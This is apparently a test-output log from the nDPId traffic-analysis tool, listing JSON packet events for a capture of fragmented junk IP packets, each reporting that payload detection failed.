+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8408,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":606517,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiGkAGQ5cKAAACCoAAAiFAIyQlXiYqKCkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8408,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8409,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":606530,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiHEAGQ5UKAAACCoAAAiNAIyQlXiYqKComXiUkIyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8409,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8410,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":606543,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiHkAGQ5MKAAACCoAAAiooS0lKSEdGRDIqJkRGR0g="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8410,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8411,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":606557,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiIEAGQ5EKAAACCoAAAkpLJl4lJCMjRVRSJVleVSY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8411,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8412,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":606570,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiIkAGQ48KAAACCoAAAkkqT1B7IjpoZGZsa2RhPkw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8412,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8413,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":606583,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJEAGQ40KAAACCoAAAjxNTkJIR0ZERVcjQCQlXkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8413,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8414,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":606596,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJkAGQ4sKAAACCoAAAkJHVgo0MjE0NjMxOTgyMDU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8414,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8415,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":606609,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKEAGQ4kKAAACCoAAAjEpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8415,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8416,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":606621,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKkAGQ4cKAAACCoAAAigqJl4lJCNyc2RsdWhna2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8416,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8417,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":606634,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLEAGQ4UKAAACCoAAAmRzYmtudmMvLnRnZnRnP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8417,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8418,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":606647,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLkAGQ4MKAAACCoAAAlI\/R1I\/c1I\/NzQ4Mzk2KSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8418,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8419,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":606660,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMEAGQ4EKAAACCoAAAiomXiUkI0AhQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8419,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8420,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":606672,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMkAGQ38KAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8420,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8421,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":606685,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNEAGQ30KAAACCoAAAiomXiUkIyYqKEtJSkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8421,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8422,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":606697,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNkAGQ3sKAAACCoAAAjIqJkRGR0hKSyZeJSQjI0U="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8422,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8423,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":606712,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOEAGQ3kKAAACCoAAAlRSJVleVSZJKk9QeyI6aGQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8423,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8424,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":606725,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOkAGQ3cKAAACCoAAAmZsa2RhPkw8TU5CSEdGREU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8424,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8425,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":606740,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPEAGQ3UKAAACCoAAAlcjQCQlXkhCR1YKNDIxNDY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8425,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8426,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":606753,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPkAGQ3MKAAACCoAAAjMxOTgyMDUxKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8426,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8427,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":606765,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQEAGQ3EKAAACCoAAAkAjJCVeJiooKiZeJSQjcnM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8427,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8428,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":606778,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQkAGQ28KAAACCoAAAmRsdWhna2Zkc2JrbnZjLy4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8428,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8429,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":606792,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiREAGQ20KAAACCoAAAnRnZnRnP0dSP0dSP3NSPzc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8429,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8430,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":606804,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiRkAGQ2sKAAACCoAAAjQ4Mzk2KSgqJl4lJCNAIUA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8430,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8431,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":606817,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSEAGQ2kKAAACCoAAAiMkJV4mKigpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8431,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8432,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":606829,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSkAGQ2cKAAACCoAAAiMkJV4mKigqJl4lJCMmKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8432,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8433,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":606843,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTEAGQ2UKAAACCoAAAktJSkhHRkQyKiZERkdISks="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8433,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8434,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":606856,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTkAGQ2MKAAACCoAAAiZeJSQjI0VUUiVZXlUmSSo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8434,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8435,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":606869,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUEAGQ2EKAAACCoAAAk9QeyI6aGRmbGtkYT5MPE0="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8435,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8436,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":606882,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUkAGQ18KAAACCoAAAk5CSEdGREVXI0AkJV5IQkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8436,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8437,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":606894,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVEAGQ10KAAACCoAAAlYKNDIxNDYzMTk4MjA1MSk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8437,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8438,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":606906,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVkAGQ1sKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8438,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8439,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":606919,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWEAGQ1kKAAACCoAAAiZeJSQjcnNkbHVoZ2tmZHM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8439,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8440,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":606931,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWkAGQ1cKAAACCoAAAmJrbnZjLy50Z2Z0Zz9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8440,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8441,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":606944,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXEAGQ1UKAAACCoAAAkdSP3NSPzc0ODM5NikoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8441,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8442,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":606959,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXkAGQ1MKAAACCoAAAl4lJCNAIUAjJCVeJiooKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8442,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8443,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":606972,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYEAGQ1EKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8443,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8444,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":606986,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYkAGQ08KAAACCoAAAl4lJCMmKihLSUpIR0ZEMio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8444,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8445,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":606999,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZEAGQ00KAAACCoAAAiZERkdISksmXiUkIyNFVFI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8445,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8446,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":607012,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZkAGQ0sKAAACCoAAAiVZXlUmSSpPUHsiOmhkZmw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8446,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8447,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":607027,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiaEAGQ0kKAAACCoAAAmtkYT5MPE1OQkhHRkRFVyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8447,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8448,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":607045,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiakAGQ0cKAAACCoAAAkAkJV5IQkdWCjQyMTQ2MzE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8448,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8449,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":607058,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibEAGQ0UKAAACCoAAAjk4MjA1MSkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8449,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 